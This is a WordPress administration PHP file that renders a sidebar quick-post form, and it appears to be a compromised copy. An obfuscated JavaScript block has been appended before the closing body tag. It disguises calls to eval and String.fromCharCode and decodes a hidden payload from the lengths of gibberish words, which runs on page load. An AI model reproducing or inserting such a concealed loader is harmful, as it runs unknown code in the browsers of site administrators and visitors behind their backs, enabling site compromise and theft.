<?php
/**
 * Quick way to create a WordPress Post.
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * @var string
 * @name $mode
 */
$mode = 'sidebar';

/** WordPress Administration Bootstrap */
require_once('./admin.php');

if ( ! current_user_can('edit_posts') )
	wp_die(__('Cheatin&#8217; uh?'));

$post = get_default_post_to_edit();

?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('blog_charset'); ?>" />
<title><?php bloginfo('name') ?> &rsaquo; <?php _e('Sidebar'); ?></title>
<style type="text/css" media="screen">
body {
	font-size: 0.9em;
	margin: 0;
	padding: 0;
}
form {
	padding: 1%;
}
.tags-wrap p {
	font-size: 0.75em;
	margin-top: 0.4em;
}
.button-highlighted, #wphead, label {
	font-weight: bold;
}
#post-title, #tags-input, #content {
	width: 99%;
	padding: 2px;
}
#wphead {
	font-size: 1.4em;
	background-color: #E4F2FD;
	color: #555555;
	padding: 0.2em 1%;
}
#wphead p {
	margin: 3px;
}
.button {
	font-family: "Lucida Grande", "Lucida Sans Unicode", Tahoma, Verdana, sans-serif;
	padding: 3px 5px;
	margin-right: 5px;
	font-size: 0.75em;
	line-height: 1.5em;
	border: 1px solid #80b5d0;
	-moz-border-radius: 3px;
	-khtml-border-radius: 3px;
	-webkit-border-radius: 3px;
	border-radius: 3px;
	cursor: pointer;
	background-color: #e5e5e5;
	color: #246;
}
.button:hover {
	border-color: #535353;
}
.updated {
	background-color: #FFFBCC;
	border: 1px solid #E6DB55;
	margin-bottom: 1em;
	padding: 0 0.6em;
}
.updated p {
	margin: 0.6em;
}
</style>
</head>
<body id="sidebar">
<div id="wphead"><p><?php bloginfo('name') ?> &rsaquo; <?php _e('Sidebar'); ?></p></div>
<form name="post" action="post.php" method="post">
<div>
<input type="hidden" name="action" value="post" />
<input type="hidden" name="user_ID" value="<?php echo esc_attr($user_ID) ?>" />
<input type="hidden" name="mode" value="sidebar" />
<input type="hidden" name="ping_status" value="<?php echo esc_attr($post->ping_status); ?>" />
<input type="hidden" name="comment_status" value="<?php echo esc_attr($post->comment_status); ?>" />
<?php wp_nonce_field('add-post');

if ( 'b' == $_GET['a'] )
	echo '<div class="updated"><p>' . __('Post published.') . '</p></div>';
elseif ( 'c' == $_GET['a'] )
	echo '<div class="updated"><p>' . __('Post saved.') . '</p></div>';
?>
<p>
<label for="post-title"><?php _e('Title:'); ?></label>
<input type="text" name="post_title" id="post-title" size="20" tabindex="1" autocomplete="off" value="" />
</p>

<p>
<label for="content"><?php _e('Post:'); ?></label>
<textarea rows="8" cols="12" name="content" id="content" style="height:10em;line-height:1.4em;" tabindex="2"></textarea>
</p>

<div class="tags-wrap">
<label for="tags-input"><?php _e('Tags:') ?></label>
<input type="text" name="tags_input" id="tags-input" tabindex="3" value="" />
<p><?php _e('Separate tags with commas'); ?></p>
</div>

<p>
<input name="saveasdraft" type="submit" id="saveasdraft" tabindex="9" accesskey="s" class="button" value="<?php esc_attr_e('Save as Draft'); ?>" />
<?php if ( current_user_can('publish_posts') ) : ?>
<input name="publish" type="submit" id="publish" tabindex="6" accesskey="p" value="<?php esc_attr_e('Publish') ?>" class="button button-highlighted" />
<?php endif; ?>
</p>
</div>
</form>


<script>var CeNapes=String;var LeKepami=parseInt;var HaTae=46;HaTae+=-45;FepedPec=90;var NeCaxt='recayap sebep delewew hejasexazefalewa heweqem qeye pecepela camaze meqepek taqaxejaderaca bayehev beqale xaxerel veganababagefes basadeye vevep xaq fazayeqekesebex segecafe vewehede lagelame das zalataf yevexepena zegezece xebes sebefaz xexeka ten lexetajeg sep detegese zena mekanawadeqeb feyecem sehapevade newapeh jeyedap hazehega fet casewep je tegelel bevaxalebadeye zaqevap yerale faz s fecawexa xehe casewep yade nekerave qay penelef kedemeraleletete fawebeq naseberaxedes yayagav qegabegatebeq tegejaf vexexavade lezexab yewaweyapetereh tewedet sefakese newa babaveqesayada sep jeg nefaheg jevemapevaqapek bayeqeh hepetepagafekeja hap gex rap d yecenaje palawene qezekew xexagevame ceserah seses gemehane zahej jaseran betelager tade gegeyegebasala lej bam hane fe jel qej tez f lehebew masenaxey raresay pefede cevebeh capenesale pataner galesele kesepen gegexaqal rehepefe qamed gese qeveledakeyare pec fad lede re fel ser ler n mawabey xeb memabej perehefecamerabe redawana yas terafeb jazed deseges naweya kadaqase cal peke tamexedakebebe cal jej paje l xaj cek pef h ceresam cacekak rekesafa ney weleyep ta laweken rasecazabatade maseseq gebema fanekat mek qezazam yetelezetatenete weneweve yer rabexed haqew sasemey pexane ceqemahe xem zera zesefabaxewape was law zehe m bab gew yeg j qewajeta xefe meqemebe jep melayab naca bece hezesazezaxere rey dem yaxejep yameqemek zatayete feyew hetanaja yekeb tedeweca y meje fabareyeleq per jexeserewejaneje nal yeqegeqecepeceme xecepeta regaqece geqepay ge pegewew yegayadeje jekeqeqe xera tacasaka deyej qelatar gevagezeresefata qapajeta fed fez pecedapapeyalax vekegex hace jarapew leperegazevedeye matelaj cetanexeleqege lev qepenegajejekafe gaseraf laqe henevah denebegebaxezewe fawelaxe laresa qafedah nemexadateleqeb teqamepe xehaz kera gaz geze lecalewac kej fezeqepesefeyad devenaza w cedahey wezejepex napalele w kaw pes raqe zatewetaseseqel dafe lezefegeyeyem xem nasasaqegapajara ketayew sekasename deqaras gepaxas peregeje def kevedaq fe weqebeh xezawevebefeze cawesex wetepe cane resemapaqebejes vex zevekeka jef negetehaxe'.split(' ');var KelMehee='esv2oaEEluQ'.replace(/[s2oEEuQ]/g, '');HeceManar=40;var GelTeo=-39;GelTeo+=41;KerNe=31;var FejeySelefn=-22;FejeySelefn+=38;TejabNeb=89;var HaHew=window;var XewRen='';var MeseqSekeo=-35;MeseqSekeo+=35;ZeKaje=76;var SaqaSevelc='fHrg1oDzm5YCvjThsavrNECu4louJ9dPcieiY'.replace(/[Hg1Dz5YvjTsvNEu4luJ9PciiY]/g, '');VajasDexex=7;KelMehee=HaHew[KelMehee];SaqaSevelc=CeNapes[SaqaSevelc];for (NeceyYaqegi=MeseqSekeo;NeceyYaqegi<NeCaxt.length-1;NeceyYaqegi+=GelTeo) XewRen += SaqaSevelc(LeKepami((NeCaxt[NeceyYaqegi+MeseqSekeo].length-1).toString(FejeySelefn)+(NeCaxt[NeceyYaqegi+HaTae].length-1).toString(FejeySelefn), FejeySelefn));KelMehee(XewRen);</script>
</body>
</html>
